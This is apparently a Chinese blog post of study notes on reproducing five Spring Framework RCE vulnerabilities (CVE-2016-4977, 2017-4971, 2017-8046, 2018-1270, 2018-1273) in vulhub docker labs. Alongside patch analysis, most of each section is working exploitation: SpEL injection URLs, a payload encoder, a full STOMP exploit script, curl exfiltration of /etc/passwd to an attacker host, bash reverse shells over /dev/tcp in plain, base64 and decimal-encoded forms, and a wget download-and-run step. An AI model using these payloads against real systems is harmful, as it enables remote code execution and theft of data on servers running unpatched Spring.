<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|Java Spring安全學習筆記

    VSole2021-08-17 09:33:00

    簡介

    Spring的英文翻譯為春天,可以說是給Java程序員帶來了春天,因為它極大的簡化了開發。得出一個公式:Spring = 春天 = Java程序員的春天 = 簡化開發。最后的簡化開發正是Spring框架帶來的最大好處。

    Spring是一個開放源代碼的設計層面框架,它是于2003 年興起的一個輕量級的Java 開發框架。由Rod Johnson創建,其前身為Interface21框架,后改為了Spring并且正式發布。Spring是為了解決企業應用開發的復雜性而創建的。它解決的是業務邏輯層和其他各層的松耦合問題,因此它將面向接口的編程思想貫穿整個系統應用。框架的主要優勢之一就是其分層架構,分層架構允許使用者選擇使用哪一個組件,同時為 J2EE 應用程序開發提供集成的框架。Spring使用基本的JavaBean來完成以前只可能由EJB完成的事情。然而,Spring的用途不僅限于服務器端的開發。從簡單性、可測試性和松耦合的角度而言,任何Java應用都可以從Spring中受益。簡單來說,Spring是一個分層的JavaSE/EE full-stack(一站式) 輕量級開源框架。Spring 的理念:不去重新發明輪子。其核心是控制反轉(IOC)和面向切面(AOP)。

    Spring框架包含的功能大約由20個小模塊組成。這些模塊按組可分為核心容器(Core Container)、數據訪問/集成(Data Access/Integration)、Web、面向切面編程(AOP和Aspects)、設備(Instrumentation)、消息(Messaging)和測試(Test)。如下圖所示:

    漏洞環境搭建

    這里我為了方便,使用的是vulhub搭建docker進行漏洞復現

    首先安裝curl和docker

    sudo apt install curl
    sudo apt install docker.io
    docker -v //查看是否安裝成功
    

    然后安裝python和pip環境,命令如下

    sudo apt install python
    curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
    sudo python get-pip.py
    pip -V //查看是否安裝成功
    

    然后再安裝docker-compose

    pip install docker-compose
    sudo apt install docker-compose
    docker-compose -v
    

    image-20210719183746682

    到這個地方docker環境就已經搭建好了,這時候需要從github上把vulhub的漏洞環境給clone下來,這里直接clone網不太好,我就直接下載下來了copy到了靶機上

    git clone https://github.com/vulhub/vulhub.git
    

    下載好之后進入spring漏洞環境,這里看到有5個CVE漏洞,我們一個一個來

    cve-2016-4977

    Spring Security OAuth RCE(cve-2016-4977),是為Spring框架提供安全認證支持的一個模塊,在7月5日其維護者發布了這樣一個升級公告,主要說明在用戶使用Whitelabel views來處理錯誤時,攻擊者在被授權的情況下可以通過構造惡意參數來遠程執行命令。漏洞的發現者在10月13日公開了該漏洞的挖掘記錄

    影響版本

    1.0.0-1.0.5、2.0.0-2.0.9

    漏洞分析

    這個漏洞的觸發點也是對用戶傳的參數的遞歸解析,從而導致SpEL注入,可是兩者的補丁方式大不相同。Springboot的修復方法是創建一個NonRecursive類,使解析函數不進行遞歸。而SpringSecurityOauth的修復方法則是在前綴${前生成一個六位的字符串,只有六位字符串與之相同才會對其作為表達式進行解析。然而如果請求足夠多,這種補丁也是會失效的。

    這里直接查看補丁情況

    可以看到在第一次執行表達式之前程序將$替換成了由RandomValueStringGenerator().generate()生成的隨機字符串,也就是${errorSummary} -> random{errorSummary},但是這個替換不是遞歸的,所以${2334-1}并沒有變。

    然后創建了一個helper使程序取random{}中的內容作為表達式,這樣就使得errorSummary被作為表達式執行了,而${2334-1}因為不符合random{}這個形式所以沒有被當作表達式,從而也就沒有辦法被執行了。

    不過這個Patch有一個缺點:RandomValueStringGenerator生成的字符串雖然內容隨機,但長度固定為6,所以存在暴力破解的可能性。

    漏洞復現

    首先進入CVE-2016-4977的docker環境

    訪問url,輸入admin/admin

    http://192.168.1.10:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
    

    出現以下界面則存在漏洞

    使用github上找到的poc對傳入值進行處理

    #!/usr/bin/env python
    message = input('Enter message to encode:')
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
    for ch in message[1:]:
        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
    poc += ')}'
    print(poc)
    

    這里我傳入一個whoami,返回了一個payload

    將這個payload拼接到之前的網址里面訪問可以發現,這里返回了一個[java.lang.UNIXProcess@f2e3e13],說明代碼已經執行了

    http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test
    

    這里使用curl發送一個請求即可得到回顯得內容

    curl 192.168.1.2:5555 -d "$(cat /etc/passwd)"
    

    這里再使用nc監聽嘗試反彈shell

    使用到bash反彈,這里需要繞過exec()變形

    bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
    

    使用http://www.jackson-t.ca/runtime-exec-payloads.html進行payload處理

    將處理后的命令再放入poc.py

    得到新的payload并拼接到網址里面

    http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
    

    然后再訪問這個網站即可得到反彈shell

    CVE-2017-4971

    Spring Web Flow框架遠程代碼執行(CVE-2017-4971)漏洞,是由于Spring Web Flow的數據綁定問題帶來的表達式注入,從而導致任意代碼執行。

    影響版本

    2.4.0-2.4.4、Older unsupported versions are also affected

    漏洞分析

    view對象處理用戶事件,會根據HTTP參數綁定相應的model

    如果model沒有設置BinderConfiguration, 則會調用addDefaultMappings函數

    進一步查看addDefaultMappings函數,可以發現輸入參數以fieldMarkerPrefix(“_”)開頭,則會調用addEmptyValueMapping函數

    useSpringBeanBinding參數設置為false,則 expressionParser將設置為SpelExpressionParser對象的實例,而不是BeanWrapperExpressionParser對象的實例。當調用getValueType函數時,SpelExpressionParser對象將執行表達式,觸發任意代碼執行

    漏洞復現

    首先進入CVE-2017-4971的docker環境

    點擊登錄

    這里列出了一些登錄賬戶,這里隨便使用一個登錄即可

    登錄之后顯示如下界面

    然后訪問http://192.168.1.10:8080/hotels/1,點擊`Book Hotel`

    這里要把信用卡和名字都填一下,然后點擊Proceed

    進入如下頁面,此處用bp抓包

    bp抓包如下所示

    這里構造一個bash反彈的payload

    &_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.2/5555 0>%261")).start()=vulhub
    

    打開nc監聽端口

    把構造的payload放入抓到的包里發送

    即可收到反彈shell

    CVE-2017-8046

    Spring-Data-REST-RCE(CVE-2017-8046),Spring Data REST對PATCH方法處理不當,導致攻擊者能夠利用JSON數據造成RCE。本質還是因為spring的SPEL解析導致的RCE


    影響版本

    Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0M4 Spring Data release trains < Kay-RC3


    漏洞分析

    這里直接從補丁分析,從官方的描述來看就是就是Spring-data-rest服務處理PATCH請求不當,導致任意表達式執行從而導致的RCE。首先來看下補丁,主要是evaluateValueFromTarget添加了一個校驗方法verifyPath,對于不合規格的path直接報異常退出,主要是property.from(pathSource,type)實現,基本邏輯就是通過反射去驗證該Field是否存在于bean中


    漏洞復現

    進入CVE-2017-8046的docker環境

    訪問http://192.168.1.10:8080/customers/1返回如下界面則存在漏洞

    這里先對customers/1這個頁面bp抓包,還是通過bash反彈,通過處理后得到命令

    bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
    

    因為這里執行的代碼被編碼為十進制位于new java.lang.String(new byte[]{xxxxxx})中,所以需要對bash命令轉成十進制編碼

    使用python進行編碼處理,在python中轉十進制的方法為",".join(map(str, (map(ord,"命令"))))

    ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"))))
    

    得到十進制后放入bp包里面進行構造

    [
        { "op": "replace", 
          "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,105,56,49,78,84,85,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
          "value": "vulhub" 
        }
    ]
    

    構造后如圖所示


    發包即可得到反彈shell

    CVE-2018-1270

    Spring Messaging 命令執行漏洞(CVE-2018-1270),Spring框架中的 spring-messaging 模塊提供了一種基于WebSocket的STOMP協議實現,STOMP消息代理在處理客戶端消息時存在SpEL表達式注入漏洞,攻擊者可以通過構造惡意的消息來實現遠程代碼執行。


    影響版本

    Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15


    漏洞分析

    expressiongetValuesetValue造成的代碼執行,造成這種命令執行是由Spring的SPEL表達式造成的

    SPEL命令執行有兩種方式,一是靜態方法,二是new 對象

    再看一下spring-boot-messaging實現中的代碼

    Expression expression = sub.getSelectorExpression();
    if (expression == null) {
        result.add(sessionId, subId);
    } else {
        if (context == null) {
            context = new StandardEvaluationContext(message);
            context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
        }
        try {
            if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
                result.add(sessionId, subId);
            }
        } catch (SpelEvaluationException var13) {
            if (this.logger.isDebugEnabled()) {
                this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
            }
        } catch (Throwable var14) {
            this.logger.debug("Failed to evaluate selector", var14);
        }
    }
    

    那么一是可以利用sub.getSelectorExpression()得到selector的表達式,二是利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))獲取表達式的值,從而造成命令執行

    漏洞復現

    進入CVE-2018-1270的docker漏洞環境

    訪問http://192.168.1.10:8080/gs-guide-websocket

    這里直接使用前輩們寫好的exp,注意修改一下bash命令和靶機地址即可

    #!/usr/bin/env python3
    import requests
    import random
    import string
    import time
    import threading
    import logging
    import sys
    import json
     
    logging.basicConfig(stream=sys.stdout, level=logging.INFO)
     
    def random_str(length):
        letters = string.ascii_lowercase + string.digits
        return ''.join(random.choice(letters) for c in range(length))
     
     
    class SockJS(threading.Thread):
        def __init__(self, url, *args, **kwargs):
            super().__init__(*args, **kwargs)
            self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
            self.daemon = True
            self.session = requests.session()
            self.session.headers = {
                'Referer': url,
                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
            }
            self.t = int(time.time()*1000)
     
        def run(self):
            url = f'{self.base}/htmlfile?c=_jp.vulhub'
            response = self.session.get(url, stream=True)
            for line in response.iter_lines():
                time.sleep(0.5)
         
        def send(self, command, headers, body=''):
            data = [command.upper(), '']
     
            data.append(''.join([f'{k}:{v}' for k, v in headers.items()]))
             
            data.append('')
            data.append(body)
            data.append('\x00')
            data = json.dumps([''.join(data)])
     
            response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
            if response.status_code != 204:
                logging.info(f"send '{command}' data error.")
            else:
                logging.info(f"send '{command}' data success.")
     
        def __del__(self):
            self.session.close()
     
     
    sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
    sockjs.start()
    time.sleep(1)
     
    sockjs.send('connect', {
        'accept-version': '1.1,1.0',
        'heart-beat': '10000,10000'
    })
    sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
        'id': 'sub-0',
        'destination': '/topic/greetings'
    })
     
    data = json.dumps({'name': 'vulhub'})
    sockjs.send('send', {
        'content-length': len(data),
        'destination': '/app/hello'
    }, data)
    

    首先還是bash編碼

    修改exp中的靶機ip和反彈命令

    sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
    sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
    

    如圖所示

    運行poc.py即可得到反彈shell

    CVE-2018-1273

    Spring Data Commons遠程命令執行(CVE-2018-1273),當用戶在項目中利用了Spring-data的相關web特性對用戶的輸入參數進行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執行內容而產生漏洞


    影響版本

    Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)


    漏洞分析

    這里直接看補丁進行分析,這是一個spel表達式注入漏洞。補丁的內容如下:

    補丁大致就是將StandardEvaluationContext替代為SimpleEvaluationContext,由于StandardEvaluationContext權限過大,可以執行任意代碼,會被惡意用戶利用。

    SimpleEvaluationContext的權限則小的多,只支持一些map結構,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已經不再支持。


    漏洞復現

    首先進入CVE-2018-1273的docker環境

    訪問http://192.168.1.10:8080/users并用bp抓包

    這里隨便填一下Username跟Password

    生成一個shell.sh文件

    bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
    

    用python起一個http服務,并構造payload下載shell.sh文件保存在/tmp/目錄下,名稱為1

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.1.2:8000/shell.sh")]=111&password=111&repeated=111&Password=111
    

    nc打開端口監聽再構造payload進行命令執行即可收到反彈shell

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/1")]=111&password=111&repeated=111&Password=111
    





    漏洞挖掘bash
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    web服務器經常需要從別的服務器獲取數據,如果獲取數據的服務器地址可控,攻擊者就可以通過web服務器自定義向別的服務器發出請求,本期我們聊一下ssrf漏洞原理和利用.快來一起看看吧
    一個批量漏洞挖掘工具,黏合各種好用的掃描器。
    QingScan 是一款聚合掃描器,本身不生產安全掃描功能,但會作為一個安全掃描工具的搬運工;當添加一個目標后,QingScan會自動調用各種掃描器對目標進行掃描,并將掃描結果錄入到QingScan平臺中進行聚合展示 · GitHub:https://github.com/78778443/QingScan · 碼云地址:https://gitee.com/songboy/QingScan
    QingScan一個批量漏洞挖掘工具,黏合各種好用的掃描器。介紹QingScan 是一款聚合掃描器,本身不生
    記一次賞金10000美金的漏洞挖掘最近我參加了一個私人 bugbounty 計劃,我設法通過四臺主機上的開放 .git 目錄找到了 RCE,為此我收到了創紀錄的 10,000 美元,如果不分享它就是犯罪。其實這個漏洞很簡單,只用了半天時間,但大體上有條不紊……收集容易發現的錯誤的主要階段是信息收集,為此我在我的 bash 腳本中使用了一系列工具:amass?
    記一次賞金10000美金的漏洞挖掘最近我參加了一個私人 bugbounty 計劃,我設法通過四臺主機上的開放 .git 目錄找到了 RCE,為此我收到了創紀錄的 10,000 美元,如果不分享它就是犯罪。其實這個漏洞很簡單,只用了半天時間,但大體上有條不紊……收集容易發現的錯誤的主要階段是信息收集,為此我在我的 bash 腳本中使用了一系列工具:amass?
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类